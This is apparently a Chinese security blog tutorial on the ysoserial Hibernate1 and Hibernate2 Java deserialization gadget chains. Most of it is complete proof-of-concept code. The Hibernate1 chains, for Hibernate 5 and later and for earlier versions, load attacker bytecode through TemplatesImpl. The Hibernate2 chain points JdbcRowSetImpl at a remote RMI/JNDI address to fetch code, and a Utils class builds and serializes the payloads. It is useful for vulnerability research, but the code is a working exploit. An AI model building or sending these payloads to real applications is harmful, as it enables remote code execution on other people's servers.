0x00 前言
Hibernate 漏洞并不难,本文就照着 yso 给的链子,给一点思路,主要是希望读者自行调试分析。
本文所使用的函数所封装的 Utils 类在文末给出。
0x01 Hibernate 1
Hibernate >= 5
前置
依赖:先使用 Hibernate >= 5 版本
1 2 3 4 5
| <dependency> <groupId>org.hibernate</groupId> <artifactId>hibernate-core</artifactId> <version>5.6.15.Final</version> </dependency>
|
yso 链子:
分析
漏洞点在org.hibernate.property.access.spi.GetterMethodImpl类的get()方法:

从方法名上分析这里应该是调用getter,不难想到TemplatesImpl类的getOutputProperties()方法。写个函数放到Utils,后面的主程序展示思路就可以了:

那么链子尾部就链好了,接下来往上找入口。
- AbstractComponentTuplizer.getPropertyValue():

由于是抽象类,所以选一个子类即可,我选择PojoComponentTuplizer类:

GetterMethodImpl的propertyName属性值不会影响到getter的调用,不知道这里开发者是如何设计的。
- 往上走是ComponentType.getPropertyValue():

这里需要关注ComponentType的构造方法,我们难以控制ComponentMetamodel类型的参数:

所以我们希望绕过构造器来实例化对象,这样我们就可以利用Java反射机制来对成员变量赋值,而不是利用构造器限定的参数。下面是相关文章:
java魔法类之ReflectionFactory介绍 - strongmore - 博客园
给出对应函数:

这样我们就可以不在乎绝大部分类的构造方法,直接通过ReflectionFactory来构造类实例,并利用反射来对目标类的属性赋值:

其实这两个方法都是利用Java反射机制,相当方便。
- TypedValue$1.initialize():
下图的流程看起来很长:

先看调用getHashCode()的代码:

大概意思就是创建匿名类,该匿名类的initialize()会接着前文的下链。
initialize()在ValueHolder.getValue()被调用:

再往上走:

TypedValue.hashCode方法。还记得吗,之前怎么对接hashCode方法的?没错,HashMap类。
所以,链子写完了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package Hibernate1_TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.hibernate.engine.spi.TypedValue; import org.hibernate.internal.util.ValueHolder; import org.hibernate.property.access.spi.Getter; import org.hibernate.property.access.spi.GetterMethodImpl; import org.hibernate.tuple.component.PojoComponentTuplizer; import org.hibernate.type.ComponentType;
import java.lang.reflect.Method; import java.util.HashMap;
import static Utils.Utils.*;
public class Main_HibernateGreaterThanOrEqual5 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = getTemplatesImpl(); Method getOutputPropertiesMethod = templates.getClass().getMethod("getOutputProperties"); GetterMethodImpl getterMethod = new GetterMethodImpl(templates.getClass(), "Any words", getOutputPropertiesMethod); Getter[] getters = new Getter[]{getterMethod}; PojoComponentTuplizer pojoComponentTuplizer = getPojoComponentTuplizer(getters); ComponentType componentType = (ComponentType) initObject(ComponentType.class); setFieldValue(componentType, "componentTuplizer",pojoComponentTuplizer); setFieldValue(componentType, "propertySpan", 1); TypedValue typedValue = (TypedValue) initObject(TypedValue.class); setFieldValue(typedValue, "value", templates); setFieldValue(typedValue, "type", componentType); HashMap<Object, Object> exp = gadgetFromHashmap(typedValue); serializeToFile(exp);
} }
|
有些细节就不说了,都学到Hibernate了,还不懂得自己调试?
Hibernate < 5
前置
依赖:
1 2 3 4 5
| <dependency> <groupId>org.hibernate</groupId> <artifactId>hibernate-core</artifactId> <version>4.3.11.Final</version> </dependency>
|
这两个不能用了:
1 2
| import org.hibernate.property.access.spi.Getter; import org.hibernate.property.access.spi.GetterMethodImpl;
|
所以需要找平替。平替是BasicPropertyAccessor.BasicGetter.get(),读者自行调试,并不难,这里给个思路就可以了。对了,注意一下readResolve()方法是在反序列化过程中自行调用的。
直接给POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package Hibernate1_TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.hibernate.engine.spi.TypedValue; import org.hibernate.internal.util.ValueHolder; import org.hibernate.property.BasicPropertyAccessor; import org.hibernate.property.Getter;
import java.lang.reflect.Method; import java.util.HashMap;
import org.hibernate.internal.util.ValueHolder; import org.hibernate.property.BasicPropertyAccessor; import org.hibernate.tuple.component.PojoComponentTuplizer; import org.hibernate.type.ComponentType;
import static Utils.Utils.*;
public class Main_HibernateLessThan5 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = getTemplatesImpl(); Method getOutputPropertiesMethod = templates.getClass().getMethod("getOutputProperties");
BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) initObject(BasicPropertyAccessor.BasicGetter.class); setFieldValue(basicGetter, "clazz", TemplatesImpl.class); setFieldValue(basicGetter, "propertyName", "outputProperties"); BasicPropertyAccessor.BasicGetter[] getters = new BasicPropertyAccessor.BasicGetter[]{basicGetter}; PojoComponentTuplizer pojoComponentTuplizer = getPojoComponentTuplizer1(getters); ComponentType componentType = (ComponentType) initObject(ComponentType.class); setFieldValue(componentType, "componentTuplizer",pojoComponentTuplizer); ValueHolder valueHolder = (ValueHolder) initObject(ValueHolder.class); TypedValue typedValue = (TypedValue) initObject(TypedValue.class); setFieldValue(typedValue, "value", templates); setFieldValue(typedValue, "type", componentType); HashMap<Object, Object> exp = gadgetFromHashmap(typedValue); setFieldValue(componentType, "propertySpan", 1); serializeToFile(exp);
} }
|
0x02 Hibernate 2
就只是链尾换了一下,利用JDBC调用JNDI服务而已,没啥好说的,直接给POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package Hibernate2_JdbcRowSetImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.rowset.JdbcRowSetImpl; import org.hibernate.engine.spi.TypedValue; import org.hibernate.internal.util.ValueHolder; import org.hibernate.property.access.spi.Getter; import org.hibernate.property.access.spi.GetterMethodImpl; import org.hibernate.tuple.component.AbstractComponentTuplizer; import org.hibernate.tuple.component.PojoComponentTuplizer; import org.hibernate.type.ComponentType;
import javax.sql.rowset.BaseRowSet; import javax.sql.rowset.JdbcRowSet; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap;
import static Utils.Utils.*;
public class Main { public static void main(String[] args) throws Exception{ JdbcRowSetImpl jdbcRowSetImpl = getJdbcRowSetImpl("rmi://xxx.xxx.xxx.xxx:50388/75cb5e"); Method getDatabaseMetaDataMethod = jdbcRowSetImpl.getClass().getMethod("getDatabaseMetaData"); GetterMethodImpl getterMethod = new GetterMethodImpl(jdbcRowSetImpl.getClass(), "111", getDatabaseMetaDataMethod); Getter[] getters = new Getter[]{getterMethod}; PojoComponentTuplizer pojoComponentTuplizer = getPojoComponentTuplizer(getters); ComponentType componentType = (ComponentType) initObject(ComponentType.class); setFieldValue(componentType, "componentTuplizer",pojoComponentTuplizer); ValueHolder valueHolder = (ValueHolder) initObject(ValueHolder.class); TypedValue typedValue = (TypedValue) initObject(TypedValue.class); setFieldValue(typedValue, "value", jdbcRowSetImpl); setFieldValue(typedValue, "type", componentType); HashMap<Object, Object> exp = gadgetFromHashmap(typedValue); setFieldValue(componentType, "propertySpan", 1); serializeToFile(exp); } }
|
0x03 Utils
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| package Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.rowset.JdbcRowSetImpl; import org.hibernate.property.access.spi.Getter; import org.hibernate.tuple.component.AbstractComponentTuplizer; import org.hibernate.tuple.component.PojoComponentTuplizer; import sun.reflect.ReflectionFactory;
import javax.sql.rowset.BaseRowSet; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class Utils { public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } public static void serializeToFile(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./ser.bin")); objectOutputStream.writeObject(object); } public static Object deserializeFromFile(String filePath) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin")); return objectInputStream.readObject(); } public static HashMap<Object, Object> gadgetFromHashmap(Object o) throws Exception { HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(1,1); Field tableField = HashMap.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ if (entry != null){ setFieldValue(entry,"key",o); } } return hashMap; } public static Object initObject(Class clazz) throws Exception { ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructorForSerialization = reflectionFactory .newConstructorForSerialization(clazz, constructor); constructorForSerialization.setAccessible(true); return constructorForSerialization.newInstance(); } public static TemplatesImpl getTemplatesImpl() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("E://all_test/test_java/com/Unserialize/cc_test/target/classes/Tool/Calc.class")); setFieldValue(templates, "_name", "Pax"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", new byte[][]{code}); return templates; } public static JdbcRowSetImpl getJdbcRowSetImpl(String url) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); Class c0 = BaseRowSet.class; Field dataSourceField = c0.getDeclaredField("dataSource"); dataSourceField.setAccessible(true); dataSourceField.set(jdbcRowSet,url); return jdbcRowSet; } public static PojoComponentTuplizer getPojoComponentTuplizer(Getter[] getters) throws Exception { PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) initObject(PojoComponentTuplizer.class); Class superClass = AbstractComponentTuplizer.class; Field gettersField = superClass.getDeclaredField("getters"); gettersField.setAccessible(true); gettersField.set(pojoComponentTuplizer, getters); return pojoComponentTuplizer; } }
|
结语:本篇比较水,但是本人是对着yso链子,从头一点一点自行调试的。所以希望读者也能静下心来做到此事,很有裨益。